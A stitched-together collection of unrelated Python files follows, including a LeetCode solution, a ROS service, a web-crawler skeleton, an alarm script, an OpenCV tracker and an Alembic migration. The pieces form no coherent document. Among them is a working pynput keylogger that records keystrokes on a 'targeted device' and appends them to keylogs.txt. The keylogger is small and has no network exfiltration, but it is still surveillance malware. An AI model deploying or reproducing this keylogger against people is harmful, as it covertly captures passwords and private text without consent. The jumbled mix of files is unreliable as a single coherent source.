    sys.exit(0)

def decorate_docopt_usage(func):
    """Handle DocoptExit exception

    :param func: function
    :type func: function
    :return: wrapped function
    :rtype: function
    """

    @wraps(func)
    def wrapper(*args, **kwargs):
        try:
            result = func(*args, **kwargs)
        except docopt.DocoptExit as e:
            emitter.publish("Command not recognized\n")
            emitter.publish(e)
            return 1
        return result
    return wrapper

def set_ssl_info_env_vars(config):
    """Set SSL info from config to environment variable if enviornment
       variable doesn't exist

    :param config: config
    :type config: Toml
    :rtype: None
    """

    if 'core.ssl_verify' in config and (
            not os.environ.get(constants.DCOS_SSL_VERIFY_ENV)):

        os.environ[constants.DCOS_SSL_VERIFY_ENV] = str(
            config['core.ssl_verify'])


#
# @lc app=leetcode.cn id=389 lang=python3
#
# [389] 找不同
#

# 审题：多了一个字母，只含小写字母
# 思路：先排序，然后循环遍历比较，找出多的那个字母
# 两个都sort，然后遍历短字符串所有字母，和长字符串比较，return少的字母
# O(N)
# 生成字典，key为字母，value为个数，个数不一样，就返回对应的key，太复杂

# @lc code=start

class Solution:
    def findTheDifference(self, s: str, t: str) -> str:
        ans = 0
        for c in s + t:
            ans ^= ord(c)
        return chr(ans)

class Solution2:
    def findTheDifference(self, s: str, t: str) -> str:
        sorted_s = sorted(s)
        sorted_t = sorted(t)

        if len(sorted_s) > len(sorted_t):
            res = self.helped(sorted_s, sorted_t)
            # 必须得接收self.fun()的返回值，并return，否则return None
        else:
            res = self.helped(sorted_t, sorted_s)
        return res

    def helped(self, s1, s2):
        # 遍历较短字符串，如果不等，则返回长字符串上的字母，
        for idx, letter in enumerate(s2):      # 低级错误：忘了enumerate！
            if letter != s1[idx]:
                return s1[idx]
        # 否则返回长字符最后一个字母
        return s1[-1]

s = Solution()
print(s.findTheDifference("abcd", "abcde"))

# @lc code=end


import pynput
from pynput.keyboard import Key, Listener # Import pynut

count = 0
keys = []

def when_pressing_key(key): # Function for when a key is pressed from user on the targeted device
    global keys, count
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

    if count >= 5:     # Function ensures that every 5 letters the user types are sent to the text file
        count = 0
        write_to_file(keys)
        keys = []

def write_to_file(keys):
    with open("keylogs.txt", "a") as f: # Function that writes string of key pressed to text file after being released by user
        for key in keys:
            f.write(str(key))

def when_releasing_key(key): # Function that kills program when the user presses the "ESC" key
    if key == Key.esc:
        return False

with Listener(on_press=when_pressing_key, on_release=when_releasing_key) as listener:
    listener.join()


#!/usr/bin/env python
# Copyright 2004-2008 Roman Yakovenko.
# Distributed under the Boost Software License, Version 1.0. (See
# accompanying file LICENSE_1_0.txt or copy at
# http://www.boost.org/LICENSE_1_0.txt)

import sys, os, os.path
from distutils import sysconfig
from distutils.core import setup

__version__ = "0.2"

setup(
    name = "pyboost"
    , version = __version__
    , description = ""
    , author = "Roman Yakovenko"
    , author_email = "roman.yakovenko@gmail.com"
    , url = 'http://www.language-binding.net/pygccxml/pygccxml.html'
    , packages = [ 'pyboost'
                   , 'pyboost.boost_random'
                   , 'pyboost.crc'
                   , 'pyboost.date_time'
                   , 'pyboost.rational' ]
    , package_data = {
       'pyboost.boost_random' : [ '_random_.dll', 'boost_python.dll' ]
       , 'pyboost.crc' : [ '_crc_.dll', 'boost_python.dll' ]
       , 'pyboost.date_time' : [ '_date_time_.dll'
                                 , 'boost_python.dll'
                                 , 'boost_date_time-vc71-mt-1_34.dll'
                                 , 'date_time_zonespec.csv' ]
       , 'pyboost.rational' : [ '_rational_.dll', 'boost_python.dll' ]
      }
)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from ros_basics_tutorials.srv import AddTwoInts
from ros_basics_tutorials.srv import AddTwoIntsRequest
from ros_basics_tutorials.srv import AddTwoIntsResponse

import rospy

def handle_add_two_ints_response(req):
    print('Returning [%s + %s = %s]'%(req.a, req.b, (req.a + req.b)))
    return AddTwoIntsResponse(req.a + req.b)

def add_two_ints_server():
    #Iniciando um no com o nome add_two_ints_server
    rospy.init_node('add_two_ints_server')

    #Iniciando um servidor que vai começar a ouvir as request
    #nome do servidor -> add_two_ints
    #tipo de mensagem -> AddTwoInts
    #função que cuidara das requests -> handle_add_two_ints_response
    rospy.Service('add_two_ints', AddTwoInts, handle_add_two_ints_response)

    print('Ready to add two ints')

    rospy.spin()

if __name__ == '__main__':
    add_two_ints_server()


"""sites/cnblogs.com/subject.py

N/A
"""

import redis
import sys
import os
import time
import asyncio

#
# check packages
#
print("[Debug] sys.path before:", sys.path)
try:
    _cwd = os.getcwd()
    _proj_abs_path = _cwd[0:_cwd.find("Practice")]
    _package_path = os.path.join(_proj_abs_path, "super-spider")
    if _package_path not in sys.path:
        sys.path.append(_package_path)

    from hostresource.manage import Resource as Hres_Resource
except Exception:
    raise  # -[o] fix later by using argv
print("[Debug] sys.path after:", sys.path)

REDIS_DB_NUM = 5
REDIS_DB_NAME = "CNBLOGS_USER-ID"

r_cb = redis.Redis(host='localhost', port=6379, db=REDIS_DB_NUM)

def check_redis_db_match(redis_p, db_name):
    return redis_p.get("DB_NAME").decode('utf-8') == db_name

#
# check Redis DB
#
print("[Info] checking Redis DB...")
try:
    if check_redis_db_match(r_cb, REDIS_DB_NAME):
        print("[Info] Redis DB matching!")
    else:
        raise RuntimeError("don't match")
except (RuntimeError, Exception):
    print("[Critical] Redis DB does not match!")
    sys.exit(1)  # check redis DB fail

#
# utility
#
gen_url = lambda _id: "https://www.cnblogs.com/{!s}/".format(_id)

class CrawlError(Exception):
    def __init__(self, *args, **kw):
        super().__init__(*args, **kw)

class BrowserAcquireCrawlError(CrawlError):
    def __init__(self, *args, **kw):
        super().__init__(*args, **kw)

class Subject(object):
    def __init__(self, user_id):
        self.user_id = user_id
        self.__url = gen_url(user_id)
        self.user_information = None
        self.user_article = None
        import queue
        self.q_data = queue.Queue()

        self.__observers = set()
        # self._

    def register(self, observer):
        self.__observers.add(observer)

    def notifyAll(self, *args, **kw):
        for observer in self.__observers:
            # self necessary \/ for OBSERVER can register mutil subject
            observer.notify(self, *args, **kw)

    def run(self):
        self.__monitor_update()

    async def run_asyncio_version(self):
        await self.__monitor_update_asyncio_version()

    def __acquire_browser_handler(self):
        _browser = None
        res = Hres_Resource()
        try:
            _browser = res.acquire_browser_handler_by_create()
        except Exception:  # -[o] not decide Exception-name yet
            _browser = res.acquire_browser_handler_from_queue()

        if not _browser:
            raise BrowserAcquireCrawlError(
                "Can not acquire browser_handler resource")

        return _browser

    def __release_browser_handler(self, browser):
        res = Hres_Resource()
        res.release_browser_handler(browser)

    async def __monitor_update_asyncio_version(self):
        #
        # do update
        # -[o] those belong to "sites/cnblogs_com/user/index.py"
        #
        user_information = self.user_information
        user_article = self.user_article
        monitor_url = self.__url

        retry_time = 0
        while True:
            try:
                # do -> while
                browser = self.__acquire_browser_handler()
                browser.get(monitor_url)  # set browser with cacp - "none" \/
                time.sleep(20)  # -[o] wait browser excute, update later

                user_information = self.__parse_information(browser)
                self.notifyAll(user_information)

                user_article = self.__parse_artical(browser)
                self.notifyAll(user_article)

            except BrowserAcquireCrawlError as err:
                print("[Error] Subject> __monitor_update> ", err,
                      file=sys.stderr)
                raise StopIteration(err)
            except Exception as err:
                print("[Critical] Subject> __monitor_update> ", err,
                      file=sys.stderr)
                retry_time += 60
            else:
                retry_time = 0
            finally:
                self.__release_browser_handler(browser)
                del browser

            #
            # use asyncio give out control
            #
            # if retry_time == 0:
            #     # -[o] to long  may could not work
            #     # await asyncio.sleep(60 * 60 * 24)
            #     await asyncio.sleep(60)  # test version of sleep time
            # else:  # after sleep retry time inteval, retry again
            #     await asyncio.sleep(retry_time)
            await asyncio.sleep(60)

    def __monitor_update(self):
        use_asyncio = False

        #
        # do update
        # -[o] those belong to "sites/cnblogs_com/user/index.py"
        #
        user_information = self.user_information
        user_article = self.user_article
        monitor_url = self.__url

        retry_time = 0
        while True:
            try:
                # do -> while
                browser = self.__acquire_browser_handler()
                browser.get(monitor_url)  # set browser with cacp - "none" \/
                time.sleep(20)  # -[o] wait browser excute, update later

                user_information = self.__parse_information(browser)
                self.notifyAll(user_information)

                user_article = self.__parse_artical(browser)
                self.notifyAll(user_article)

            except BrowserAcquireCrawlError as err:
                print("[Error] Subject> __monitor_update> ", err,
                      file=sys.stderr)
                if not use_asyncio:
                    break
                else:
                    raise StopIteration(err)
            except Exception as err:
                print("[Critical] Subject> __monitor_update> ", err,
                      file=sys.stderr)
                retry_time += 60
            else:
                retry_time = 0
            finally:
                self.__release_browser_handler(browser)
                del browser

                #
                # use asyncio give out control
                #
                if not use_asyncio:
                    if not retry_time:
                        time.sleep(60 * 60 * 24)  # -[o] to long could not work
                    else:  # after sleep retry time inteval, retry again
                        time.sleep(retry_time)
                else:
                    #
                    # asyncio
                    #
                    yield

    def __parse_information(self, _browser_handler):
        return {"user_id": self.user_id, "test": True}

    def __parse_artical(self, _browser_handler):
        return {"user_id": self.user_id, "test": True}

def main():
    pass

if __name__ == '__main__':
    main()


import winsound, time, os, platform

def sound():
	#os.startfile("C:\Users\Reginald\Desktop\Ramin Djawadi - Main Title.mp3")
	#this file is on my own computer
	print ("You can stop the alarm simply by closing the file.\n")
	for i in range(3): # Number of repeats

		for j in range(5):

			winsound.MessageBeep(-1) # seems that all windows sounds are boring, i'll just leave this alone
			time.sleep(1) # How long between beeps within loop j

		time.sleep(2) # How long between beeps within loop i

def alarm(n):

	if n == 0 :
		print ("Eh...Seems that you do not want a break. \n")
		return

	localtime = time.localtime(time.time()) # Get the time now. localtime is a struct
	hour = localtime.tm_hour
	minute = localtime.tm_min
	second = localtime.tm_sec

	alarm_time = time.localtime(n + time.time()) # n is the wait_time. get the alarm time in struct type
	new_hour = alarm_time.tm_hour
	new_minute = alarm_time.tm_min
	new_second = alarm_time.tm_sec

	print ("\nCurrent time is: " + str(hour).zfill(2) +
	       ":" + str(minute).zfill(2) + ":" +
	       str(second).zfill(2) + "\n" + "Wait time is: "+ str(n)
	       + " seconds.\n" + "Your alarm will be started at: "+
	       str(new_hour).zfill(2) + ":" + str(new_minute).zfill(2) + ":"
	       + str(new_second).zfill(2) + "\n\n" +
	       "Please leave the file as it is, change the volume to a desired level, and enjoy your break!\n")
	# Should've find a better way to print all those things out, but the timing is tricky. Working on it.

	time.sleep(n) # Waits n seconds before playing sound

	sound()

def mode_selector(user_input):

	if user_input == '1':

		user_input = int(input("Enter the desired hours: "))
		wait_time = user_input * 3600
		alarm(wait_time)

	elif user_input == '2':

		user_input = int(input("Enter the desired minutes: "))
		wait_time = user_input * 60
		alarm(wait_time)

	elif user_input == '3':

		user_input = int(input("Enter the desired seconds: "))
		wait_time = user_input
		alarm(wait_time)

	elif user_input == '4':

		hours = int(input("Hours: "))
		minutes = int(input("Minutes: "))
		seconds = int(input("Seconds: "))
		wait_time = hours * 3600 + minutes * 60 + seconds
		alarm(wait_time)

	else:
		print ('We only have four modes!\n\n')
		time.sleep(1)
		main()

def main():
	print("What unit of time do you want to wait?\n (1) Hours\n" +
	" (2) Minutes\n (3) Seconds\n (4) Combination")
	main_input = raw_input(": ")
	mode_selector(main_input)
	return

main()


# Nhân hai số nguyên lớn trên trường hữu hạn
import math
def convert_uv_to_u_v(uv):
    bin_uv = str(bin(uv)[2:])
    if len(bin_uv) < 16 :
        bin_uv = "0"*(16-len(bin_uv))+bin_uv
    u = int(bin_uv[:8],2)
    v = int(bin_uv[8:],2)
    return u,v
def Integer_multiprecision (a, b, w=8, p=2147483647):
    a = a[::-1]
    b = b[::-1]
    m = math.ceil(math.log(p, 2))
    t = math.ceil(m / w)
    c = [0]*2*t
    for i in range(t):
        u = 0
        for j in range(t):
            uv = c[i+j]+a[i]*b[j]+u
            u,v = convert_uv_to_u_v(uv)
            c[i+j] = v
        c[i+t] = u
    return c[::-1]

def number_to_array (a,w=8,p=2147483647):
    m = math.ceil(math.log(p, 2))
    t = math.ceil(m / w)
    arr = ['']*t
    tmp = a
    sum = 0
    for i in range(t):
        x = pow(2, ((t - 1 - i) * w))
        arr[i] = tmp // x
        sum += arr[i] * x
        tmp = a - sum
    return arr

def array_to_number(arr,w=8,p=2147483647):
    m = math.ceil(math.log(p, 2))
    t = math.ceil(m / w)
    a = 0
    for i in range(t):
        x = pow(2, ((t - 1 - i) * w))
        a += arr[i] * x
    return a

if __name__ == '__main__':
       p,W,a,b = map(int, input().split())
       a = number_to_array(a)
       b = number_to_array(b)
       res = str(Integer_multiprecision(a,b,W,p))
       print("c=a.b="+res.replace(', ','   '))

'''
Input:
2147483647 8 524647 32549

Output:
c=a.b=[0   0   0   3   249   218   76   227]
'''


#Liner Search  = helps to find value from unsorted array O(n)
#binary Search  = to find value from sorted array

def binary_search(a, search_element):
	start = 0
	end = len(a) - 1

	while start <= end:
		middle = (start + end) // 2
		if search_element == a[middle]:
			return middle
		elif search_element > a[middle]:
			start = middle + 1
		else:
			end = middle - 1

	return -1

a = [1, 2, 3, 4, 5, 5]
index = binary_search(a, 3)
print(index)


# coding: utf-8

# Exercice : In da Club
"""
Écrivez un script qui permette d'encoder un fichier texte
dont les lignes contiendront chacune :
les noms, prénom, adresse, code postal et n° de téléphone de différentes personnes
Considérez par exemple qu'il s'agit des membres d'un club !
"""

def exist(fname):
	"vérifie si un fichier existe bien"
	try:
		f=open(fname,'r')
		f.close()
		return 1
	except:
		return 0

def lecture(fname):
	"lecture et affichage des données des membres du club"
	ofi=open(fname, 'r')
	print('\n')
	cpt=1
	while 1:
		ligne=ofi.readline()
		if (ligne=='') and (cpt==1): # si la première ligne est vide ...
			print('Le fichier ne contient aucun membre !\n')
			break
		elif ligne=='': # arrêt de la boucle à la fin du fichier
			break
		else: # lecture des données pour chaque menbre
			data=''
			i=0
			while ligne[i]!='*':
				data=data+ligne[i]
				i+=1
			print('Nom         : ', data)
			i+=1
			data=''
			while ligne[i]!='*':
				data=data+ligne[i]
				i+=1
			print('Prénom      : ', data)
			i+=1
			data=''
			while ligne[i]!='*':
				data=data+ligne[i]
				i+=1
			print('Adresse     : ', data)
			i+=1
			data=''
			while ligne[i]!='*':
				data=data+ligne[i]
				i+=1
			print('Code postal : ', data)
			i+=1
			data=''
			while i<len(ligne):
				data=data+ligne[i]
				i+=1
			print('Téléphone   : ', data)
			cpt=2
	ofi.close()

def ajoutMembre(fname):
	"ajout des données d'un membre du club"
	ofi=open(fname,'a')
	ligne=input('Nom : ')
	ofi.write(ligne+'*')
	ligne=input('Prénom : ')
	ofi.write(ligne+'*')
	ligne=input('Adresse : ')
	ofi.write(ligne+'*')
	ligne=input('Code postal : ')
	ofi.write(ligne+'*')
	ligne=input('Téléphone : ')
	ofi.write(ligne)
	ofi.write('\n')
	ofi.close()

def choix(fname):
	"lecture / écriture dans un fichier existant ... ou quitter."
	chxf=0
	while 1:
		chxf=input('Que voulez vous faire ?\n \
		Choix 1 : Ajouter un membre\n \
		Choix 2 : Lire le fichier\n \
		choix 3 : Quitter\n')
		if chxf=='1':
			ajoutMembre(fname)
		elif chxf=='2':
			lecture(fname)
		elif chxf=='3':
			break

# programme principal ------------------------------------
print('\nBienvenue dans le programme de gestion des données des membres du club\n')
filename=input("Veuillez entrer le nom du fichier à créer ou à ouvrir : ")

if not exist(filename):
	print("\nLe fichier", filename, "est introuvable !\n")
	chx=input('Que voulez vous faire ?\n \
		Choix 1 : Créer le fichier \n \
		Choix 2 : Quitter\n')
	if chx=='1':
		ofi=open(filename,'w')
		ofi.close()
		choix(filename)
else:
	print("\nLe fichier", filename, "exite bel et bien !\n")
	choix(filename)


# -*- coding: utf-8 -*-
from openerp import models, fields, api

class SupplierBilling(models.Model):
    _inherit = 'supplier.billing'

    billing_active = fields.Boolean(
        compute='_compute_billing_active',
        string='Billing Active in Payment',
        store=True,
        help='Bill active in supplier payment when state invoice equal '
             'open or cancel (do not appear other state)',
    )

    @api.multi
    @api.depends('invoice_ids', 'invoice_ids.state')
    def _compute_billing_active(self):
        for billing in self:
            invoice_states = billing.invoice_ids.mapped('state')
            billing.billing_active = True
            if list(filter(lambda x: x not in ['open', 'cancel'],
                           invoice_states)):
                billing.billing_active = False


import cv2
import numpy as np
import imutils
import argparse
import time
from imutils.video import VideoStream
from imutils.video import FPS

#Parseador de argumentos para seleccionar un video y el tipo de tracking
#OpenCV cuenta con varios como csrt, kcf, mosse, medianFlow etc...
#Si no se introuce la ruta a un video existente, se procede a caputrar video
#de un dispositivo de video (camara web)
ap = argparse.ArgumentParser()
ap.add_argument("-v", "--video", type=str, help="Ruta del video")
ap.add_argument("-t", "--tracker", type=str, default="kcf", help="Tipo de Tracker")
args =  vars(ap.parse_args())

#Inicializacion de un diccionario que mapea strings con su opencv object tracker correspondiente
#BOOSTING Tracker: algoritmo utilizado detrás de las cascadas Haar (AdaBoost), tiene más de una década. Este rastreador es lento y no funciona muy bien, (mínimo OpenCV 3.0.0)
#MIL Tracker: mejor precisión que BOOSTING tracker pero hace un mal trabajo al informar sobre fallas. (mínimo OpenCV 3.0.0)
#KCF Tracker: filtros de correlación kernelized. Más rápido que BOOSTING y MIL. Similar a MIL y KCF, no maneja bien la oclusión completa. (mínimo OpenCV 3.1.0)
#CSRT Tracker: filtro de correlación discriminativo (con canal y confiabilidad espacial). Tiende a ser más preciso que KCF pero un poco más lento. (mínimo OpenCV 3.4.2)
#MedianFlow Tracker: hace un buen trabajo al informar fallas; sin embargo, si hay un salto demasiado grande en movimiento, como objetos que se mueven rápidamente u objetos que cambian rápidamente en su apariencia, el modelo fallará. (mínimo OpenCV 3.0.0)
#Rastreador de TLD:  propenso a falsos positivos. No recomiendo usar este rastreador de objetos OpenCV. (mínimo OpenCV 3.0.0)
#Rastreador MOSSE: Muy, muy rápido. No es tan preciso como CSRT o KCF, pero es una buena opción si necesita velocidad pura. (mínimo OpenCV 3.4.1)

#Control de versiones
(major, minor) = cv2.__version__.split(".")[:2]
if int(major) == 3 and int(minor) < 3:
    tracker = cv2.Tracker_create(args["tracker"].upper())
else:
    OPENCV_OBJECT_TRACKERS = {
        "csrt": cv2.TrackerCSRT_create,
        "kcf": cv2.TrackerKCF_create,
        "boosting": cv2.TrackerBoosting_create,
        "mil": cv2.TrackerMIL_create,
        "tld": cv2.TrackerTLD_create,
        "medianflow": cv2.TrackerMedianFlow_create,
        "mosse": cv2.TrackerMOSSE_create,
    }
    tracker = OPENCV_OBJECT_TRACKERS[args["tracker"]]()
initBB = None

if not args.get("video", False):
    print("[INFO] starting video Stream....")
    vs = VideoStream(src=0).start()
    time.sleep(1.0)
#Sino agarra el video de la ruta proporcionada
else:
    vs = cv2.VideoCapture(args["video"])
fps = None

while True:
    frame=vs.read()   #Take each frame
    hsv=cv2.cvtColor(frame,cv2.COLOR_BGR2HSV)   #Convert from BGR to HSV
    #range for blue color in HSV
    #calculations:
    #blue = np.uint8([[[255,0,0 ]]])
    #hsv_blue = cv2.cvtColor(blue,cv2.COLOR_BGR2HSV)
    lower_blue=np.array([110,50,50])
    upper_blue=np.array([130,255,255])
    #range for green color in HSV
    #calculations:
    #green = np.uint8([[[0,255,0 ]]])
    #hsv_green = cv2.cvtColor(green,cv2.COLOR_BGR2HSV)
    lower_green=np.array([50,50,50])
    upper_green=np.array([70,255,255])
    #calculations:
    #red = np.uint8([[[0,0,255 ]]])
    #hsv_red = cv2.cvtColor(red,cv2.COLOR_BGR2HSV)
    lower_red=np.array([0, 50, 50])
    upper_red=np.array([10, 255, 255])
    #Threshold the HSV image to get only blue color
    mask_blue=cv2.inRange(hsv,lower_blue,upper_blue)
    #Threshold the HSV image to get only green color
    mask_green=cv2.inRange(hsv,lower_green,upper_green)
    #Threshold the HSV image to get only red color
    mask_red=cv2.inRange(hsv,lower_red,upper_red)
    #Bitwise-AND mask and original image
    res_blue=cv2.bitwise_and(frame,frame,mask=mask_blue)
    res_green=cv2.bitwise_and(frame,frame,mask=mask_green)
    res_red=cv2.bitwise_and(frame,frame,mask=mask_red)
    (H,W) = res_red.shape[:2]
    if initBB is not None:
        (success, box) = tracker.update(res_red)
        if success:
            (x,y,w,h) = [int(v) for v in box]
            cv2.rectangle(res_red, (x,y), (x+w, y+h), (0,255,0), 2)
        fps.update()
        fps.stop()
        info = [
            ("Tracker", args["tracker"]),
            ("Succes", "Yes" if success else "No"),
            ("FPS", "{:.2f}".format(fps.fps())),
        ]
        for (i, (k, v)) in enumerate(info):
            text = "{}:{}".format(k,v)
            cv2.putText(res_red, text, (10, H - ((i*20)+20)),
            cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0,0,255),2)

    #Show the images
    cv2.imshow('Original',frame)
    cv2.imshow('Mask_RED',mask_red)
    cv2.imshow('Result RED',res_red)
    #cv2.imshow('Mask_GREEN',mask_green)s
    #cv2.imshow('Result GREEN',res_green)
    #cv2.imshow('Mask_RED',mask_red)
    #cv2.imshow('Result RED',res_red)
    k = cv2.waitKey(5) & 0xFF
    if k == ord("s"):
        initBB = cv2.selectROI("Frame", frame, fromCenter=False, showCrosshair=True)
        tracker.init(frame, initBB)
        fps = FPS().start()
    elif k == 27:
        break
vs.release()
cv2.destroyAllWindows()


"""empty message

Revision ID: f412434b3ca6
Revises: d24eddc5e40d
Create Date: 2017-07-04 14:36:27.792045

"""

# revision identifiers, used by Alembic.
revision = 'f412434b3ca6'
down_revision = 'd24eddc5e40d'

from alembic import op
import sqlalchemy as sa

def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.add_column('activity', sa.Column('user_id', sa.Integer(), nullable=True))
    op.create_foreign_key(None, 'activity', 'users', ['user_id'], ['id'])
    op.add_column('assignment', sa.Column('public', sa.String(length=128), nullable=True))
    op.add_column('assignment', sa.Column('user_id', sa.Integer(), nullable=True))
    op.create_foreign_key(None, 'assignment', 'users', ['user_id'], ['id'])
    op.add_column('basics', sa.Column('public', sa.String(length=128), nullable=True))
    op.add_column('basics', sa.Column('user_id', sa.Integer(), nullable=True))
    op.create_foreign_key(None, 'basics', 'users', ['user_id'], ['id'])
    op.add_column('collection', sa.Column('order', sa.String(length=100), nullable=True))
    op.add_column('collection', sa.Column('public', sa.String(length=128), nullable=True))
    op.add_column('collection', sa.Column('target_id', sa.Integer(), nullable=True))
    op.add_column('collection', sa.Column('target_table', sa.String(length=200), nullable=True))
    op.add_column('policy', sa.Column('user_id', sa.Integer(), nullable=True))
    op.create_foreign_key(None, 'policy', 'users', ['user_id'], ['id'])
    op.add_column('reading', sa.Column('public', sa.String(length=128), nullable=True))
    op.add_column('reading', sa.Column('user_id', sa.Integer(), nullable=True))
    op.create_foreign_key(None, 'reading', 'users', ['user_id'], ['id'])
    ### end Alembic commands ###

def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_constraint(None, 'reading', type_='foreignkey')
    op.drop_column('reading', 'user_id')
    op.drop_column('reading', 'public')
    op.drop_constraint(None, 'policy', type_='foreignkey')
    op.drop_column('policy', 'user_id')
    op.drop_column('collection', 'target_table')
    op.drop_column('collection', 'target_id')
    op.drop_column('collection', 'public')
    op.drop_column('collection', 'order')
    op.drop_constraint(None, 'basics', type_='foreignkey')
    op.drop_column('basics', 'user_id')
    op.drop_column('basics', 'public')
    op.drop_constraint(None, 'assignment', type_='foreignkey')
    op.drop_column('assignment', 'user_id')
    op.drop_column('assignment', 'public')
    op.drop_constraint(None, 'activity', type_='foreignkey')
    op.drop_column('activity', 'user_id')
    ### end Alembic commands ###